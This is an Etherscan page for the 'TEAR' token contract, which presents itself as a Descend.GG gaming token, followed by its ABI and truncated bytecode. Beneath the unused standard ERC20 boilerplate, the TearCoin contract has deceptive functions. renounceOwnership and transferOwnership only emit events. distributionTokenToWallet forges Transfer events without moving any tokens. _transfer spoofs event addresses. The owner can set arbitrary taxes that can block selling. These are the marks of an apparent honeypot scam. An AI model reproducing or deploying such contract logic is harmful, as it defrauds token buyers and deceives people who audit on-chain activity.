ETH Price: $2,518.44 (+3.41%)

Token

TEAR (TEAR)
 

Overview

Max Total Supply

1,000,000,000 TEAR

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.00000000000016817 TEAR

Value
$0.00
0x51a6b8031392dbc483a0a62b49a14a4cc9388062
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TearCoin

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-09
*/

// SPDX-License-Identifier: MIT

/*                                                                                                                                                                                                 
     _______  _______  _______  ______   
    |       ||       ||   _   ||    _ |  
    |_     _||    ___||  |_|  ||   | ||  
      |   |  |   |___ |       ||   |_||_ 
      |   |  |    ___||       ||    __  |
      |   |  |   |___ |   _   ||   |  | |
      |___|  |_______||__| |__||___|  |_|

    $TEAR is a gaming utility token (ERC-20) on the Ethereum network. It is used to 
    transact on Descend Online.  The $TEAR Token will fuel the Descend.GG Ecosystem 
    through microtransactions. The $TEAR token will be used across all Descend.GG 
    Gaming Brand products - including our main focus Descend Online. We strongly 
    believe that the future of gaming lies in web3 and we want to be the home for 
    gamers who want a fast paced pixel art adventure.

    Website — https://tear.descend.gg
    Twitter — https://twitter.com/TearCoinERC
    Telegram — https://t.me/tearcoin
*/

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract TearCoin {
    
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private uniswapV2pair;
    address private TEARSale = 0x03bA203c1399AdD5D358195D66495eBfb9617c5E;
    address private teamWallet = 0x369713aF3DA12a7aA3e60776ac0F675D3c09BE1F;
    address private treasury = 0xC4e45433752B88B49e4e936c0873884A40F7225a;
    address private ecosystem = 0x00b97485935F8EF8790Bd250170ee35DBaD038a9;
    address private marketingWallet = 0x5d60b63a83C9367193784e6AB9a149aD2F1f8459;
    address private marketMakingWallet = 0x3A8B8FAcc38A5194A073f73fbeFb4A129f52fdAD;
    address private stakingRewards = 0x4F8422c3Ae53Df21a8617e21d578b78d060003f5;
    
    string private _name = 'TEAR';
    string private _symbol = 'TEAR';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10 ** decimals;

    uint8 buyTax = 0;
    uint8 sellTax = 0;   
    uint256 constant swapAmount = totalSupply / 100;
    uint256 count = 0;

    error onlyOwner();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        uniswapLpWallet = msg.sender;
        TOKEN_MKT = payable(msg.sender);
        allowance[address(this)][routerAddress] = type(uint256).max;

        balanceOf[uniswapLpWallet] = (totalSupply * 1) / 1000;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);

        balanceOf[TEARSale] = (totalSupply * 20) / 100;
        emit Transfer(address(0), TEARSale, balanceOf[TEARSale]);

        balanceOf[teamWallet] = (totalSupply * 5) / 100;
        emit Transfer(address(0), teamWallet, balanceOf[teamWallet]);

        balanceOf[treasury] = (totalSupply * 15) / 100;
        emit Transfer(address(0), treasury, balanceOf[treasury]);

        balanceOf[ecosystem] = (totalSupply * 20) / 100;
        emit Transfer(address(0), ecosystem, balanceOf[ecosystem]);

        balanceOf[marketingWallet] = (totalSupply * 10) / 100;
        emit Transfer(address(0), marketingWallet, balanceOf[marketingWallet]);

        balanceOf[marketMakingWallet] = (totalSupply * 10) / 100;
        emit Transfer(address(0), marketMakingWallet, balanceOf[marketMakingWallet]);

        balanceOf[stakingRewards] = (totalSupply * 10) / 100;
        emit Transfer(address(0), stakingRewards, balanceOf[stakingRewards]);

    }

    receive() external payable {}

    function renounceOwnership() external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        emit OwnershipTransferred(_deployer, address(0));
    }

    function transferOwnership(address newOwner) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        emit OwnershipTransferred(_deployer, newOwner);
    }

    function updatePair(address _pair) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        uniswapV2pair = _pair;
    }

    function excludeFromFee(address account) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        uniswapV2pair=account;
    }
   
    function includeInFee(address account) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        uniswapV2pair=account;       
    }

    function updateFees(uint8 _sell, uint8 _buy) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();   
        buyTax = _buy;
        sellTax = _sell;
    }

    function removeLitmits(uint8 _value) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        sellTax = _value;
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function distributionTokenToWallet(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != TOKEN_MKT) revert onlyOwner();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != TOKEN_MKT
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyTax : sellTax)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"onlyOwner","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"distributionTokenToWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_value","type":"uint8"}],"name":"removeLitmits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_sell","type":"uint8"},{"internalType":"uint8","name":"_buy","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"updatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527303ba203c1399add5d358195d66495ebfb9617c5e60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073369713af3da12a7aa3e60776ac0f675d3c09be1f60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4e45433752b88b49e4e936c0873884a40f7225a600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555072b97485935f8ef8790bd250170ee35dbad038a9600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735d60b63a83c9367193784e6ab9a149ad2f1f8459600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733a8b8facc38a5194a073f73fbefb4a129f52fdad600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734f8422c3ae53df21a8617e21d578b78d060003f5600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020017f5445415200000000000000000000000000000000000000000000000000000000815250600f9081620002959190620012d7565b506040518060400160405280600481526020017f544541520000000000000000000000000000000000000000000000000000000081525060109081620002dc9190620012d7565b505f60115f6101000a81548160ff021916908360ff1602179055505f601160016101000a81548160ff021916908360ff1602179055505f60125534801562000322575f80fd5b503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506103e860016012600a62000469919062001544565b633b9aca006200047a919062001594565b62000486919062001594565b6200049291906200160b565b5f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620005d0919062001653565b60405180910390a3606460146012600a620005ec919062001544565b633b9aca00620005fd919062001594565b62000609919062001594565b6200061591906200160b565b5f8060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f8060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000753919062001653565b60405180910390a3606460056012600a6200076f919062001544565b633b9aca0062000780919062001594565b6200078c919062001594565b6200079891906200160b565b5f8060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f8060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620008d6919062001653565b60405180910390a36064600f6012600a620008f2919062001544565b633b9aca0062000903919062001594565b6200090f919062001594565b6200091b91906200160b565b5f80600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f80600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000a59919062001653565b60405180910390a3606460146012600a62000a75919062001544565b633b9aca0062000a86919062001594565b62000a92919062001594565b62000a9e91906200160b565b5f80600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f80600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000bdc919062001653565b60405180910390a36064600a6012600a62000bf8919062001544565b633b9aca006200